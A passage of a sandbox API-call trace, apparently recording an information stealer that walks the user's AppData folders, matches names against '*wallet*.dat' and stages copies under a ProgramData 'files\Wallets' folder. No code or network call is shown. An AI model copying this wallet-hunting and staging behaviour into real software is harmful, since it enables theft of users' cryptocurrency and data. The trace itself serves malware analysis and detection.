Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\." [0052.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.105] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.105] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\.." [0052.105] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\.." [0052.105] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.105] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.105] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.105] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0052.105] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0052.105] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0052.105] PathMatchSpecW (pszFile="settings.sol", pszSpec="*wallet*.dat") returned 0 [0052.105] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0 [0052.105] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.109] PathMatchSpecW (pszFile="sys", pszSpec="*wallet*.dat") returned 0 [0052.109] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.109] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.109] PathMatchSpecW (pszFile="flashplayer", pszSpec="*wallet*.dat") returned 0 [0052.109] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.109] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.109] PathMatchSpecW (pszFile="support", pszSpec="*wallet*.dat") returned 0 [0052.109] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.109] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.109] PathMatchSpecW (pszFile="macromedia.com", pszSpec="*wallet*.dat") returned 0 [0052.110] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.110] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.110] PathMatchSpecW (pszFile="Flash Player", pszSpec="*wallet*.dat") returned 0 [0052.110] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0 [0052.110] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0052.110] PathMatchSpecW (pszFile="Macromedia", pszSpec="*wallet*.dat") returned 0 [0052.110] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.110] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.110] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.110] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.110] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.110] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0052.110] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0052.110] lstrcpyW (in: lpString1=0x19ea34, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*.*" [0052.110] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0x58a580 [0052.110] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\." [0052.111] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\." [0052.111] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.111] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.111] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\.." [0052.111] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\.." [0052.111] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.111] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.111] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.111] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.111] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.111] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Access" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" [0052.111] lstrcmpW (lpString1="Access", lpString2=".") returned 1 [0052.111] lstrcmpW (lpString1="Access", lpString2="..") returned 1 [0052.111] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*.*" [0052.111] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a200 [0052.112] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\." [0052.112] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\." [0052.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.112] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.112] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\.." [0052.112] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\.." [0052.112] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.112] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.112] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="AccessCache.accdb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" [0052.112] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\", lpString2="AccessCache.accdb" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\AccessCache.accdb") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\AccessCache.accdb" [0052.112] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.112] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="System.mdw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" [0052.112] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access" [0052.112] lstrcatW (in: 